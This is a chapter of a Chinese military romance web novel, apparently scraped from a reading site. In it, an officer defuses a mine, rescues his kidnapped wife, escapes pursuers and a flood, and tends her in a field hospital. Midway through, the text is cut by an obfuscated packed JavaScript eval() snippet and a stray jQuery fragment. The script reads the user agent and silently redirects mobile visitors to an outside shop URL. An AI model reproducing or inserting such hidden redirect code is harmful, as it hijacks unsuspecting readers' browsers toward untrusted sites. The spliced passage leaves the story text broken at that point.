放木压、雷的过程让人紧张又枯燥漫长。
罗新柏跟小陈两人一左一右,将跟徐启峰等身重量的沉木小心的一点点挪到徐启峰脚下旁徐启峰再一点点的挪开脚下所踩的位置。
在沉木压得差不多的时候徐启峰的脚还踩着阔、剑、雷一边的位置,让罗新柏跟小陈两人离开。
罗新柏两人都不肯,只是离开两百米的区域,在空地旁眼睛不眨地紧盯着他。
徐启峰转头看向苏曼发现她一直看着自己那双波光潋滟的眼眸,此刻充满不安与期盼的眼神,像只害怕失去至亲的小鹿眼神看着就让人心疼。
“曼曼闭上眼睛。”徐启峰朝她做一个闭眼的动作。
放木压、雷的做法并不能百分百的保证脚下的雷不会爆炸徐启峰也没把握自己能不能全身而退。
如果地、雷爆炸他希望自己被扎伤炸死的画面,不要被苏曼看见,造成一辈子的心里阴影。
苏曼抿着嘴没吭声,倔强地看着他,不闭上眼睛。
徐启峰见她一如以往地倔强,也没勉强她,低头将自己踩住阔、剑、雷剩余地方的脚,缓慢移开。
时间仿佛在这一刻停滞,变得格外漫长,苏曼屏住呼吸,看着他的动作内心一直在祈求各路神明给徐启峰庇佑,她愿意拿自己的寿命来做抵押。
也不知道是不是她的祈祷起到了作用还是徐启峰本身自带光环当他挪开脚
远处已经响起交战的枪击声很显然跟着徐启峰而来的精锐士兵们并没有按照他的命令先行撤退而是与敌方队伍起了冲突将他们绝大部分的火力给吸引往另一个方向引开。
徐启峰长眉紧蹙二话不说继续排雷有惊无险地来到苏曼面前解开她身上的绳索将饿得瘦骨嶙峋的苏曼紧紧拥抱在怀里“曼曼对不起我来晚了让你受苦了。”
苏曼紧紧靠在他结实的胸膛里感受到他身上熟悉的气息一路过来所受的苦和心里的恐惧害怕在这一刻变成了委屈在他怀里哭得昏天暗地抽抽噎噎道:“我我没事。对不起啊我拖你后腿了我不想这样的。”
她一开口声音又小又粗哑是因为这两天都没怎么喝过水嗓子疼得厉害所致。
徐启峰将瘦弱的她稳稳搂在怀里一边领着她跟罗新柏两人离开密林一边在她头顶轻声安慰:“不是你的错你还好好的活着撑到我来救你对于我来说是万幸。”
苏曼低低嗯一声伸出软绵绵的双手用力搂着他的脖子用力止住自己想哭的**免得让他分神。
他们走了一段路一个高大的士兵跑过来报告:“团长我们试图将敌方的队伍引开他们走了一半大概发现端倪派了一半的队伍回来我回来通知您要赶紧换个方向离开。”
徐启峰站在密林中望着一颗颗高大的树木仔细辨别了一下方向“张俊生、小陈你们跟着罗营长往东方向撤退与先遣部队汇合。”
名叫张俊生的高大精英士兵听出他话里的不对劲“团长那你跟嫂子呢?”
“这是我跟你嫂子的事情本就不该拖累你们。”徐启峰神色淡淡:“你们主动随我走一趟我已然过意不去。军部有军部的规矩旅部只给我五天的时间救人超过时限会给我治罪你们都有各自的职责不要因为我影响军绩都撤退吧。”
罗新柏道:“你是不是想带着嫂子引开他们?就你跟嫂子两个人很危险!”
“团长我不走。”小陈一脸坚决:“我是你的警卫兵你在哪我在哪。”
“少废话!”徐启峰脸色深沉:“这是我身为团长给你们下达的撤退命令你们敢抗命?!”
身为军人首先就是要做到绝对服从上级命令。
罗新柏三人再怎么想留下来在他的命令下也不得撤退。
他们一走徐启峰望着怀中的苏曼道:“怕吗?”
“不怕。”苏曼摇头“只要跟你在一起
她说完这话自己也楞了一下天知道她这辈子都没说过这么肉麻的话果然跟爱人在一起会使人变得肉麻。
徐启峰笑了起来“不怕就好哪怕只有我一个人我也会把你活着带离这里。”
他把苏曼放在地上半蹲在她面前“上来我背你。”
背着她他的行动才方便。
苏曼立即趴在他的背上。
徐启峰将她背起来抬头辨别一个方向在密林之中迅速奔跑。
夜黑如墨长年无人活动的密林到处都是树枝讶茂盛的树冠下积满厚厚的落叶还有不少倒地的枯木树枝茂密的杂草导致每走一步路都很困难。
苏曼完全看不清脚下的路只能看到周围隐隐绰绰的树影。
徐启峰像是有夜视眼每步都走得很沉稳没有任何绊倒摔倒的迹象。
“呯呯——”
身后传来枪击声一群人打着闪亮的手
电筒,紧跟在他们的身后。
苏曼趴在徐启峰的背上回头望,追过来的人群目测不低于一百人,个个行动迅速,边追他们边开枪,有好几次子弹擦着他们的身边过去,击中附近的树木,迸射出细小的火花,徐启峰背着她左躲右闪,奔跑地速度越来越快。
苏曼紧张的浑身发抖,双手紧紧搂着徐启峰的后颈,这是她一次面临真枪实弹的追杀,这跟看得电影小说想象中的画面完全不一样。
她能感觉到死神在追逐,感觉到自己的生命危在旦夕,死亡如影随形。
那种恐惧紧张感,让她的心脏急剧跳动加速,死死咬着嘴唇,不敢发出一点声音,就怕影响徐启峰全神贯注地逃命。
也不知道跑了多久,苏曼感觉徐启峰跑得像猎豹一样快,耳边全是呼啦啦的风声,身后的枪声小了些,他们应该是拉开了一段距离,徐启峰突然停下来:“曼曼,我们要从这里跳下去,不要怕,记得屏住呼吸。
跳下去?
苏曼还没反应过来,感觉自己身子一空,徐启峰竟然背着她纵身一跃,他们正从一个断崖往下坠落。
“啊——徐启峰!!!苏曼发出一声惨叫,脸色惨白的闭上眼睛。
听到耳边急速往下坠带来的风声,苏曼感觉自己的心跳都停止了跳动,双手死死搂着徐启峰的脖子,等待最终的结局。
“噗通——
意料中摔成肉酱的画面并没有出现,苏曼跟徐启峰掉进一个溪流里,原来这里是个峡谷,那处断崖是溪流的上游。
溪流的面积挺大,目测不低于七米宽,长度未知,溪流十分湍急,整条溪道全是怪石嶙峋的各种石头。
两人落下来的时候,正在发洪水的湍急溪流一下把他们给冲开,徐启峰以最快的速度想抓住苏曼,却没能抓住。
苏曼本来会游泳,现在她身上的药效果=还没过,浑身软绵绵的没劲,用尽全身的力气拼命挣扎,最终敌不过这越渐凶猛的急流,整个人随波逐流,在水中浮浮沉沉,不断撞击在溪道里的岩石上。
“咳咳咳
嘴里涌入大量的浑水,苏曼忍不住呛咳出声,换来得是更多的溪水呛进胸腔里,既有溺水窒息的憋闷感,又感觉到自己肺部胸腔火辣辣的一片。
难道她要溺死在这里?她迷迷糊糊地想着。
“苏曼!
徐启峰眼睁睁地看着苏曼被湍急的溪流冲走,没有一丝犹豫,拼了老命向她游去。
此时的溪水正在上涨,大概是因为昨天密林里下了一场
大雨,导致上游积水爆出洪水的缘故,湍急得溪流将苏曼冲得极快。
徐启峰不顾溪流中尖锐岩石撞击在身上的疼痛,眼里只有在溪流中沉沉浮浮的苏曼,在一处拐弯有一根浮木稍微挡住苏曼沉浮身体之时,成功将她抓住,费力地将她带在岸边,进行紧急救援。
他不停地做着心脏复苏,苏曼躺在地上毫无反应,他又对着她进行人工呼吸,苏曼依旧没动静。
徐启峰心中有种前所未有的恐慌,几乎抑制不住自己的情绪,跪在苏曼的身边,一边给她做心脏复苏,一边大声喊她:“苏曼,醒醒,快醒醒,你不要吓我,不要吓我!”
他没想到苏曼会在这个时候因为他被绑架,会因为她来到这吃人不吐骨头的南越边境密林,面临这重重折磨和危险,最后不得不跟他一路逃亡。
明明她是个手无缚鸡之力的女同志,在嫁给他之前,她一直是个养尊处优的干部千金,没有吃过什么苦,受过什么委屈。
自从嫁给他之后,他经常外出出任务,留她一个人在家里担惊受怕,如今还要面对这样非人的折磨,命丧于此。
徐启峰有着说不出的痛苦和后悔,也许当初他就不应该跟苏曼结婚,让苏曼跟他受苦。苏曼另嫁他人,平平安安顺顺遂遂的过一生,才是最好的选择。
苏曼脑袋昏昏沉沉,感觉自己浑身冷得像地窖一般,胸口像是被人压了一块大石头,喘不上气来。
她憋得难受,拼命呼吸,很快就觉得自己越呼吸越顺畅,耳边传来徐启峰一声又一声痛苦的呼唤,她猛地一下睁开眼睛,侧头在一旁哇哇吐水。
“你醒了。”身边传来男人低沉嘶哑的声音,声线有着控制不住的颤抖。
苏曼吐干净嘴里的水,漆黑的夜色中,感觉男人用粗粝的大掌轻轻给她擦拭着嘴角,而后将她抱进怀里,“苏曼,你醒过来就好,醒过来就好。”
苏曼感受到他的颤抖,知道他在愧疚自责,伸手轻轻拍着他的后背:“你无需自责,那种情况,你也料想不到。比起被急流冲走,总比被那些人打死的好。我们现在脱离危险了吗?”
“没有。”徐启峰不想瞒她,“他们很快会发现那个断崖,会想办法顺着急流下来找我们,我们得立即赶路离开这里,你还能撑住吗?”
苏曼点头:“能。”
话是这么说,她感觉自己后背脑袋疼得厉害,好像被急流冲走的时候,那些尖锐的岩石划伤了她细嫩的皮肤,后背脑袋都火辣辣的疼。
她没有告诉徐启峰,他光背着她逃命
就已经很困难,她不想受了点伤就告诉他,那样只会徒增他担忧,还会显得自己矫情。
她再次趴在徐启峰的后背上,徐启峰背着她继续出发。
这次徐启峰选择的路线一直沿着陡峭的山林走,避开地势平缓的溪流地,跟那帮人反道而行,这样会安全许多。
当徐启峰彻底摆脱那帮人的追击,天光早已大亮,苏曼趴在他的背上昏沉沉睡过去,他能感觉到她滚烫的体温,闻到她身上传来的淡淡血腥味,知道她受伤了。
他把她背到一处几颗大树盘根错节形成的根洞里,将她放下来,靠在巨大的树根上,查看她的伤势。
她脸色惨白,嘴唇开裂毫无血色,脑袋左侧被划出一条小口子,已经停止流血,上面有条黑色的血痕封住了伤口,后背则被划出两道比筷子还要长点的伤口,深入见骨,伤口上的肉已经被泡得发白翻卷,过了这么久还在渗血。
徐启峰双手不自觉地握紧,苏曼那样一个娇滴滴的人,以前在磐市家里,切菜不小心切到手,都会对他说疼,如今伤得这么重,却是一声不吭,是怕影响他吗?
怎么会有这么善解人意的姑娘。
徐启峰心脏酸酸涨涨的疼,他出来的急,身上没有带药,苏曼这种情况,既像感冒发烧,又像伤口感染引起的发烧,无论哪一种,他都得尽快把她送去后方的战地医疗队里,让她尽快缝合治疗,不然会有生命危险。
徐启峰就地挖出一些干净的泥土,孵在苏曼后背两条伤口上,做个简单的止血处理,而后背上她,废寝忘食拼命赶路。
终于在一天后碰到来寻找他们的罗新柏,赶到附近他带来的救援小队所处位置,坐上军部越野车,前往后方部队所在位置,将苏曼送到战地医护队里。
苏曼清醒过来,已经是三天后。
她睁开眼睛,看到的是一片军绿色的布顶,鼻翼间闻到刺鼻的消毒水味道,有一瞬间不知道自己是否活着,又身处在哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415856|94298||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里。
“苏曼同志,你醒了?身边传来一道温柔的声音,苏曼循声望去,是一个丹凤眼,长相英气漂亮,穿着绿色女军装的女兵。
“你是?苏曼挣扎着要起身,发现自己是趴着的,一动后背疼得厉害。
“我叫郭红樱,是37团医疗队的卫生兵。郭红樱轻轻摁着她的肩膀道:“你后背和脑袋都受了伤,尤其后背伤得还挺严重,医疗队的军医给你做了缝合手术,你暂时不要起身,在病床上趴着静养,我们在后方的总指挥部,目前很安全。
“好,谢谢。苏
曼老实地趴着,目光环顾四周。
她好像呆在一个超大号的军用四方帐篷里,周遭挤挤挨挨放着四十来个病床,全都躺着受伤的士兵,大部分都打着石膏绷带,或者断手断脚,躺在病床上不断发出痛嚎,她一个外来的军属女眷躺在这样的军用帐篷里,显得格格不入。
“你在找徐团长吧?郭红樱道:“徐团长有事暂时出去了,应该很快回来。
苏曼有些惊讶这个卫生兵察言观色很敏锐,不好意思地问:“他怎么样,受伤严重吗?
她的嗓音粗哑的厉害,是长久缺水所致。
郭红樱给她倒一杯热水,递到她手里道:“徐团长受了一些轻伤,并不严重,这三天以来,他一直在这里守着你,照顾你。
“没受重伤就好。苏曼松一口气。
郭红樱又跟她说了几句话,隔壁床有人叫她换输液瓶,她就去隔壁床换药剂去了。
苏曼把手中的热水小口小口得喝下,这才感觉火急火燎的嗓子好受很多。
喝完水,肚子又饿得厉害,她已经快二十天没有正常吃过东西,低头看自己的手掌都已经皮包骨,不知道饿瘦了多少斤。
正当她饿得头晕眼花,犹豫着要不要叫郭红樱给她弄点吃得时候,穿着军官制服的徐启峰从帐篷门口进来,手里拎着一个保温饭盒,看见她醒来,他原本锐利的眼眸消融冰雪,眼神带着一些笑意,大步走过来,弯腰摸摸她的脸颊,“曼曼,你总算醒了。
那样温柔的眼神,那样温和的语气,看得周围原本还各种痛嚎低叫的受伤士兵,一同安静下来,彼此之间递一个眼神。
果然是徐团长最爱的妻子,他媳妇没醒的时候,他呆在病房里,整天板着个脸,神情严肃,看人的眼神冷得掉渣,只要他在帐篷里,他们都不敢痛嚎,就怕他骂他们没用,没有一点军人的样子,受点伤就嚎,丢军人的脸。
可是现在面对他媳妇,他那说话的表情跟语气哟,轻言细语的,生怕吓得他媳妇一样,这些当兵的人心里都有些酸,这人对人的差别,咋这么大呢。
或许是感受到其他受伤士兵的注目,苏曼压低声音道:“这么多人呢,你注意点影响,别老摸我脸。
“好。徐启峰收回自己的左手,坐在她床边一张简易的军用折叠小凳子上,柔声问她:“伤口疼不疼?
“有一点点。
“后方的药物有限,没有什么止痛药,你先忍一忍,等你好一点,我送你回国。
苏曼闻言沉默。
她已经跟徐启峰分别了一年半时间,之前对他日思夜想,恨不得飞到他的身边,天天粘着他,哪都不去。
可真见到这人,还是以一种被绑的方式见到他,她很明白,她留在这里,就是他的累赘。
徐启峰见她沉默,猜到她心中所想,想说两句话安慰她,最终变成了:“我给你煮了一份清淡的白粥,我扶你起来吃吧。”
苏曼没拒绝,就着他的胳膊缓慢坐起身来,伤口擦挂着换了干净衣服的面料,疼得她忍不住轻轻地嘶一声。
徐启峰垂眸看她一眼,拎着保温饭盒坐在她身边,让她整个人都靠在他的侧面身体上,这样她坐着就没那么累。
他打开保温盒,拿出一个勺子,舀起里面冒着热气的白粥,稍微吹凉,往苏曼嘴边递。
苏曼忙道:“我自己来,这么多人看着呢,我手脚都好好的,我能自己吃。”
“你受了伤,理应该让家属照顾。在这里,我是你唯一的家属,我不照顾,谁来照顾你。”徐启峰固执地不给她勺子。
苏曼没办法,只能低头吃下一口白粥。
徐启峰煮得白粥浓稠相宜,选得大米也不是国内正常供应的大米,是部队特供的军需大米,本来该吃起来硬硬的,却被他耐心的慢慢熬煮,吃起来浓香微甜。
白粥里面没放任何调料,都吃得苏曼觉得美味佳肴,一口接一口根本停不下来。
“慢点吃。”徐启峰看她狼吞虎咽的样子,很心疼,“你太久没有正常进食,需要慢慢的吃,胃里才能受得住。”
苏曼本来就长得脸蛋小巧,身材纤瘦,现在饿得脸颊微陷,衬托得眼眶很大,身子也瘦成一把骨头,好似随时都能被风吹倒,看着就让人心疼。
苏曼吃了大半盅白粥,感觉火急火燎的胃里舒服很多,这才放慢吃粥的速度,将不大的保温盒白粥,全都吃了个精光。
徐启峰把保温盒拿出去清洗,进来就见苏曼眼巴巴的望着他,一副可怜兮兮等主人回家的小猫咪一样,心里一阵柔软,走到她面前,揉揉她的头发,“不要用这种眼神看着我,我暂时不会离开你。你跟我讲讲,你是怎么被绑到这里来的,等你讲完,消化的差不多了,我再守着你睡觉。”
苏曼早就想跟他倒倒苦水了,靠在他的肩膀上,把姚燕红如何绑架她的事情讲一遍,末了感慨:“姚燕红为什么要去做间谍呀,她究竟经历过什么样的事情?”
徐启峰看着她,目光平淡,“间谍无处不在,不要好奇他们的经历,更不要对他们产生同情,他们杀害的人数,超出你的想象。”
苏曼点头:“我明白。”
两人又说了一会儿话,苏曼困意上涌,徐启峰让她好好的睡一觉。
大概是因为有他在身边,苏曼紧紧握着徐启峰的手,很快睡了过去。